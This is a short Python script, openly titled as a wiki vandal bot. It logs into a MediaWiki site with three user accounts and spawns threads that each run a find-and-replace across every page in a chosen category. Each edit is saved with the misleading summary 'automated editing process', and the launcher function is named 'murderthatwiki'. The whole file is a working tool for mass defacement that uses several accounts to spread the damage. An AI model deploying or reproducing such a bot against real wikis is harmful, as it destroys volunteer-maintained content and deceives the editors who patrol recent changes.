source code for a wiki vandal bot

import mwclient
import threading

listusers = list()
listcats = list()
addrsa = raw_input('address > ')
addrsb = raw_input('path to api.php >')
for x in range(3):
    users = raw_input('Username> ')
    listusers.append(users)

pswd = raw_input('password> ')
for x in range(3):
    categry = raw_input('Category >')
    listcats.append(categry)

str1 = raw_input('String to find >')
str2 = raw_input('String to replace with > ')
def mean(username, category):
    site = mwclient.Site(str(addrsa), path=str(addrsb))
    try:
        site.login(username,str(pswd))
    except:
        print('exception...')

    for page in site.Categories[category]:
        print('Currently editing '+page.page_title)
        try:
            text = page.text()
            text = text.replace(str1, str2)
            page.save(text, summary='automated editing process')
        except:
            print('Unknown exception')
def murderthatwiki():
    instance1=None
    instance2=None
    instance3=None
    instance1 = threading.Thread(group=None,target=mean,name=instance1,args=(listusers[0],listcats[0]))
    instance2 = threading.Thread(group=None,target=mean,name=instance2,args=(listusers[1],listcats[1]))
    instance3 = threading.Thread(group=None,target=mean,name=instance3,args=(listusers[2],listcats[2]))

    instance1.start()
    instance2.start()
    instance3.start()